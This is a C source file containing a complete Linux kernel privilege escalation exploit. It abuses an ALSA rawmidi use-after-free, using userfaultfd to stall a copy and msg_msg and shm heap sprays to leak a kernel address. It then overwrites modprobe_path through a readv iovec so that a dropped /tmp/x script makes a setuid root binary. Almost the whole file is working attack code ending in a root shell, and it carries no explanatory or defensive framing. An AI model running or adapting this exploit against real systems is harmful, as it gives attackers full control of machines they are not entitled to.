#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sound/asound.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <inttypes.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include "krwx.h"
#include <sys/shm.h>
#include <time.h>
#include <sys/uio.h>
#define TRUE  (1==1)
#define FALSE (!TRUE)
#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                        } while (0)


#define DEV_RAWMIDI              "/dev/snd/midiC0D0"
#define MODPROBE_PATH_OFFSET     0x4AB60 /* from leaked init_ipc_ns */
#define ADDRESS_PAGE_FAULT_1     0x5550000
#define ADDRESS_PAGE_FAULT_2     0x7770000
#define PAGE_SIZE 0x1000

struct thread_args{
    int id;
    int uffd;
    void* addr_to_trigger;
    char* content;
    int size;
};

struct thread_snd_write_args{
    void* addr;
    size_t size;
};

/* msg_msg */
#define Cyan(string) "\e[0;36m" string "\x1b[0m"
#define BCyan(string) "\e[1;36m" string "\x1b[0m"
#define MSGTYPE 0x537
#define MSGKEY 0x1337
struct msgbuf {
    unsigned long mtype;     /* message type, must be >0 */
    char mtext[1];  /* message data */
};

/* end msg_msg */

long uffd;          /* userfaultfd file descriptor */
pthread_t tids[5];
int release_page_fault = TRUE;
int fd_rawmidi;

static void *
fault_handler_thread(struct thread_args* arg)
{
    static struct uffd_msg msg;    /* Data read from userfaultfd */
    long uffd;                    /* userfaultfd file descriptor */
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    ssize_t nread;
    void* addr_to_trigger;
    char* input_content;
    int input_size;

    uffd = arg->uffd;
    addr_to_trigger = arg->addr_to_trigger;
    input_content = arg->content;
    input_size = arg->size;

    /* Create a page that will be copied into the faulting region. */

    if (page == NULL) {
        page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page == MAP_FAILED)
            errExit("mmap");
    }

    /* Loop, handling incoming events on the userfaultfd
      file descriptor. */
    //printf("[*][page_fault_handler] Starting page fault handler on %p\n", addr_to_trigger);

    for (;;) {
        /* See what poll() tells us about the userfaultfd. */
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);
        if (nready == -1)
            errExit("poll");

/* 
        printf("\nfault_handler_thread():\n");
        printf("    poll() returns: nready = %d; "
                "POLLIN = %d; POLLERR = %d\n", nready,
                (pollfd.revents & POLLIN) != 0,
                (pollfd.revents & POLLERR) != 0);
*/

        /* Read an event from the userfaultfd. */
        nread = read(uffd, &msg, sizeof(msg));

        if (nread == 0) errExit("EOF on userfaultfd!");
        if (nread == -1) errExit("read");
        /* We expect only one kind of event; verify that assumption. */
        if (msg.event != UFFD_EVENT_PAGEFAULT) errExit("Unexpected event on userfaultfd");

        /* Display info about the page-fault event. */
        printf("[+] Page Fault triggered for %p!\n", msg.arg.pagefault.address);
        //if(msg.arg.pagefault.address == (void*) ADDRESS_PAGE_FAULT_1 + PAGE_SIZE){
        if(msg.arg.pagefault.address == (void*) addr_to_trigger){
            //release_page_fault = FALSE;
            while(release_page_fault == TRUE);
        }
        else{
            // Not our desired page fault
            printf("[-] NOT OUR CASE\n");
            continue;
        }

        //printf("[+] PAGE FAULT RELEASED");
        //printf("    UFFD_EVENT_PAGEFAULT event: ");
        //printf("flags = %"PRIx64"; ", msg.arg.pagefault.flags);
        //printf("address = 0x%"PRIx64"\n", msg.arg.pagefault.address);

        // Write into the new page desired input with desired input size
        memcpy(page, input_content, input_size); 

        uffdio_copy.src = (unsigned long) page;
        /* We need to handle page faults in units of pages(!).
          So, round faulting address down to page boundary. */

        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &~(PAGE_SIZE - 1);
        uffdio_copy.len = PAGE_SIZE;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl-UFFDIO_COPY");

        //printf("        (uffdio_copy.copy returned %"PRId64")\n",
        //        uffdio_copy.copy);
        release_page_fault = TRUE;
        break;
    }
    close(uffd);
    printf("[*] Page fault thread terminated\n" );
}

void l_print_qword(void* address){
    unsigned long first;
    unsigned long second;
    first = *(int64_t *) address;
    second = *(int64_t *) (address + 0x8);
    printf(BCyan("%p:\t"), address);
    printf(Cyan("0x%016lx 0x%016lx\n"), first, second);

}

void dump_memory(void* start_address, size_t size){
    void* end_address = start_address + size; // also if not padded to 8 it will be fine in the loop condition
    //printf("[D] [read_memory] start_addres: %p\n[D][read_memory] end_address: %p\n", start_address, end_address);
    printf("\n");
    while(start_address < end_address){
        l_print_qword(start_address);
        start_address = start_address + (8 * 2);
    }
}


void* thread_sound_write(struct thread_snd_write_args* arg ){
    void* addr;
    size_t size;
    ssize_t write_n;
    int fd_test;
    addr = arg->addr;
    size = arg->size;
    //printf("[*] snd_write thread with addr:%p and size: %d ..\n", addr, size);
    write_n = write(fd_rawmidi, addr, size);
    //printf("bytes written: %zu\n", write_n);

}

int sound_resize_params(int stream, size_t buffer_size, size_t avail_min) {
    // SNDRV_RAWMIDI_STREAM_OUTPUT
    //printf("[debug] calling SNDRV_RAWMIDI_IOCTL_PARAMS with buff_size %d\n", buffer_size);
    struct snd_rawmidi_params params = {0};
    params.stream = stream;
    params.buffer_size = buffer_size;
    params.avail_min = avail_min;
    int ioctl_res = ioctl(fd_rawmidi, SNDRV_RAWMIDI_IOCTL_PARAMS, &params);
    //printf("[debug] ioctl_res: %d\n", ioctl_res);
    if ( ioctl_res  == -1)
        errExit("ioctl SNDRV_RAWMIDI_IOCTL_PARAMS");
    return 0;
}


int get_msg(int qid, void* out_buf, int msg_len, int msg_type){

    //struct msgbuf* rec_msg_buf = malloc( sizeof(rec_msg_buf) + msg_len); 
    if (msgrcv( qid, out_buf, msg_len, msg_type, MSG_NOERROR | IPC_NOWAIT) == -1 ){
        if( errno != ENOMSG) {
            perror("msgrcv");
            return -1;
        }
        //errExit("msgrcv");
        printf("[get_msg] No message received\n");
        return 0;
    }
    return 1;
}

int send_msg(int qid, void* memory, int msg_len, int msg_type){
    
    struct msgbuf* msg_buf;
    msg_buf = malloc( sizeof(struct msgbuf) + msg_len );
    msg_buf->mtype = msg_type;
    memcpy(msg_buf->mtext, memory, msg_len);
    //printf("[send_msg] Sending msg with type 0x%x on qid: 0x%x\n", msg_type, qid);
    if( msgsnd(qid, msg_buf, ( sizeof(msg_buf) + msg_len) , IPC_NOWAIT) == -1 ){
        errExit("msgsnd");
    }
    return 0;
}

void init_userfault_thread(int th_num, void* addr_to_monitor, int range, char* input_content, int input_size){
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;

    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1)
        errExit("userfaultfd");

    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
        errExit("ioctl-UFFDIO_API");
    uffdio_register.range.start = (unsigned long) addr_to_monitor;
    uffdio_register.range.len = range; // IMPORTANT: The range
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
        errExit("ioctl-UFFDIO_REGISTER");

    printf("[+] userfaultfd registered\n");
    struct thread_args* args = (struct thread_args*) malloc(sizeof(struct thread_args));
    args->id = 1337;
    args->uffd = uffd;
    args->addr_to_trigger = addr_to_monitor;
    args->content = input_content;
    args->size = input_size;
    s = pthread_create(&tids[th_num], NULL, fault_handler_thread,(void*) args);
    if (s != 0) {
        errno = s;
        errExit("pthread_create");
    }
    
}

void spray_shm(int num)
{
    int shmid[0x100]     = {0};
    void *shmaddr[0x100] = {0};
    for(int i = 0; i < num; i++){
        shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);
        if (shmid[i]  < 0) errExit("shmget");
        shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);
        if (shmaddr[i] < 0) errExit("shmat");
    }
}


void prep_exploit(){
    system("echo '#!/bin/sh' > /tmp/x");
    system("echo 'touch /tmp/pwneed' >> /tmp/x");
    system("echo 'chown root: /tmp/suid' >> /tmp/x");
    system("echo 'chmod 777 /tmp/suid' >> /tmp/x");
    system("echo 'chmod u+s /tmp/suid' >> /tmp/x");
    system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/nnn");
    system("chmod +x /tmp/x");
    system("chmod +x /tmp/nnn");
}

void get_root_shell(){
    system("/tmp/nnn 2>/dev/null");
    system("/tmp/suid 2>/dev/null");
}

int main(void)
{
    printf("[*] Starting exploitation ..\n");
    prep_exploit();

    int pipefd[2];
    if(pipe(pipefd) == -1) errExit("pipe");

    void* addr = (void*) ADDRESS_PAGE_FAULT_1;
    if(mmap(addr, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED) errExit("mmap");

    // Content that will be overwritten from the page fault handler
    char content_first_userfault[PAGE_SIZE];
    memset(content_first_userfault, 0xff, PAGE_SIZE);

    // Init and start the user page fault thread
    // In this case the size is not important since we will block the write from the rawmidi write
    init_userfault_thread(1, addr + PAGE_SIZE, PAGE_SIZE, content_first_userfault, 0xff);

    fd_rawmidi = open(DEV_RAWMIDI, O_RDWR);
    if (fd_rawmidi < 0) errExit("fd");

    /* START */
    int qid[2];
    srand(time(0));
    int msgkey = rand();
    int msgtype = rand();
    qid[0] = msgget(msgkey, IPC_CREAT | 0666);
    if( qid[0] == -1 ) errExit("msgget");

    // Spray SHM structs in kmalloc-32
    spray_shm(40);


    /* Allocate and re-size the buffer in order to have an arbitrary sized chunk */
    // It's not important how much we write, kmalloc(PAGE_SIZE) will always be the first allocation
    char write_buffer[10] = {0};
    memset(&write_buffer, 0x41, 10);
    printf("[*] First write to init substream..\n");
    write(fd_rawmidi, &write_buffer, 4);

    // re-size in order to have an arbitrary sized chunk freed that lands in kmalloc-4096
    // this step can be skipped since our chunk is already in kmalloc-4096, but for future uses I keep it (if it's necessary to change the cache)
    printf("[*] Resizing buffer_size to 4096 ..\n");
    // sound_resize_params(int stream, size_t buffer_size, size_t avail_min)
    sound_resize_params(SNDRV_RAWMIDI_STREAM_OUTPUT, 4090, 7);

    // Trigger the PAGE FAULT only at 0x5550000 + PAGE_SIZE
    // Since we want to overwrite msg_msg->ms_ts (at 0x18) (and we do not want to overwrite everything before)
    memset(addr, 0x43, PAGE_SIZE);
    struct thread_snd_write_args snd_write_arg;
    snd_write_arg.addr = addr + PAGE_SIZE - 0x18;
    snd_write_arg.size = 0x18 + 0x2; // 0x2 is the 0xffff that will be written in msg_msg->ms_ts

    // Trigger the page fault and lock in copy_from_user
    pthread_create(&tids[2], NULL, thread_sound_write, &snd_write_arg);
    printf("[*] snd_write triggered (should fault) \n");

    // We have to trigger the buffer re-size in order to free the object
    // and allocate one our obj that fits in kmalloc-128
    // sound_resize_params(int stream, size_t buffer_size, size_t avail_min)
    printf("[*] Freeing buf using SNDRV_RAWMIDI_IOCTL_PARAMS\n");
    sound_resize_params(SNDRV_RAWMIDI_STREAM_OUTPUT, 90, 1);

    /* Allocate msg_msg struct in kmalloc-128*/

    /*
    void* chunk1 = kmalloc(4090, _GFP_KERN);
    release_page_fault = TRUE; // Tells the fault_handler thread to start its job

    read_memory(chunk1, 128 * 2);
    */

    ///*
    void* mem = malloc(4096 * 2);
    memset(mem, 0x45, 4096 * 2);
    printf("[*] Replacing freed obj with msg_msg .\n");
    send_msg(qid[0], mem, 4096 - 48 + (10), msgtype); // should fall in kmalloc-32
    memset(mem, 0x46, 1024);
    //void* temp = kmalloc(32, _GFP_KERN);
    spray_shm(4);
    release_page_fault = FALSE; // Tells the fault_handler thread to start its job

    printf("[*] Waiting for userfaultd to finish ..\n");
    while(release_page_fault == FALSE); // Waits that the page fault handler ends
    printf("[+] Page fault lock released\n");
    unsigned long* res = malloc(4096 * 2);
    memset(res, 0x0, 4096 * 2);
    get_msg(qid[0], res, 4096 * 2, msgtype);
    //dump_memory(res, 4096 * 2);

    // init_pc_]ns is @ res + 0xe0
    unsigned long init_ipc_ns = *(res + (0xff8 / sizeof(unsigned long)));
    unsigned long modprobe_path = init_ipc_ns - MODPROBE_PATH_OFFSET;
    printf("[+] init_ipc_ns @0x%lx\n", init_ipc_ns);
    printf("[+] calculated modprobe_path @0x%lx\n", modprobe_path);


    /* ARBITRARY WRITE */
    printf("[+] Starting the arbitrary write phase ..\n");
    release_page_fault = TRUE;

    printf("[*] Closing and reopening re-opening rawmidi fd ..\n");
    close(fd_rawmidi);
    fd_rawmidi = 0;
    fd_rawmidi = open(DEV_RAWMIDI, O_RDWR);
    if (fd_rawmidi < 0) errExit("fd");

    // We want to do the same
    // Register page fault of a mmap region 
    if(mmap(ADDRESS_PAGE_FAULT_2, PAGE_SIZE * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED) errExit("mmap");

    memset(content_first_userfault, 0x0, PAGE_SIZE);
    *(unsigned long*) (content_first_userfault) = modprobe_path; // iov.iov_base
    *(unsigned long*) (content_first_userfault + 0x8) = 0x8; // iov.iov_len => sizeof(tmp/x);
    *(unsigned long*) (content_first_userfault + 0x10) = 0xdeadbeefdeadbeef;
    *(unsigned long*) (content_first_userfault + 0x18) = 0x8; 

    //dump_memory(content_first_userfault, 0x40);
    init_userfault_thread(3, ADDRESS_PAGE_FAULT_2 + PAGE_SIZE, PAGE_SIZE * 2, content_first_userfault, 0x10);

    // Can we do the same with the same file descriptor opened?
    printf("[*] First write to init substream..\n");
    // reusing the prev write_buffer
    int res_w = write(fd_rawmidi, &write_buffer, 4);
    //printf("write res: %d\n", res_w);
    // re-size in order to have an arbitrary sized chunk freed that lands in kmalloc-256
    printf("[*] Resizing buffer_size to land into kmalloc-256 ..\n");
    // sound_resize_params(int stream, size_t buffer_size, size_t avail_min)
    sound_resize_params(SNDRV_RAWMIDI_STREAM_OUTPUT, 250, 2);
    
    // Trigger PAGE_FAULT
    struct thread_snd_write_args write_args;
    write_args.addr = ADDRESS_PAGE_FAULT_2 + PAGE_SIZE - 0x10;
    write_args.size = 0x20;
    
    //printf("RESULT: %d, ", write(fd_rawmidi, ADDRESS_PAGE_FAULT_2, 10));
    pthread_create(&tids[4], NULL, thread_sound_write, &write_args);
    printf("[*] snd_write triggered (should fault) \n");

    printf("[*] Freeing buf from SNDRV_RAWMIDI_IOCTL_PARAMS\n");
    // size is not important, this one is just necessary to free the previous allocated chunk in kmalloc-256
    sound_resize_params(SNDRV_RAWMIDI_STREAM_OUTPUT, 300, 1);

    struct iovec iov_read_buffers[13] = {0};
    char read_buffer0[0x100];
    memset(read_buffer0, 0x52, 0x100);
    iov_read_buffers[0].iov_base = read_buffer0;
    iov_read_buffers[0].iov_len= 0x10;
    iov_read_buffers[1].iov_base = read_buffer0;
    iov_read_buffers[1].iov_len= 0x10;
    iov_read_buffers[8].iov_base = read_buffer0;
    iov_read_buffers[8].iov_len= 0x10;
    iov_read_buffers[12].iov_base = read_buffer0;
    iov_read_buffers[12].iov_len= 0x10;

    if(!fork()){
        ssize_t readv_res = readv(pipefd[0], iov_read_buffers, 13); // 13 * 16 = 208 => kmalloc-256
        exit(0);
    }
    // ALLOCATE
    printf("[*] Waiting for readv ..\n");
    sleep(1); // Waits for readv allocation
    release_page_fault = FALSE; // Tells the fault_handler thread to start its job
    while(release_page_fault == FALSE); // Waits that the page fault handler ends
    printf("[+] Page fault lock released\n");
    // TRIGGER
    char write_buf[128];
    memset(write_buf, 0x57, 128);
    *(unsigned long*) ( write_buf + 0x10) = 0x00782f706d742f; // /tmp/x
    printf("[*] Writing into the pipe ..\n");
    ssize_t write_res = write(pipefd[1], write_buf, 0x10 + 0x8);
    printf("[*] write = %zd\n", write_res);

    printf("[+] enjoy your r00t shell [:\n");
    get_root_shell();

}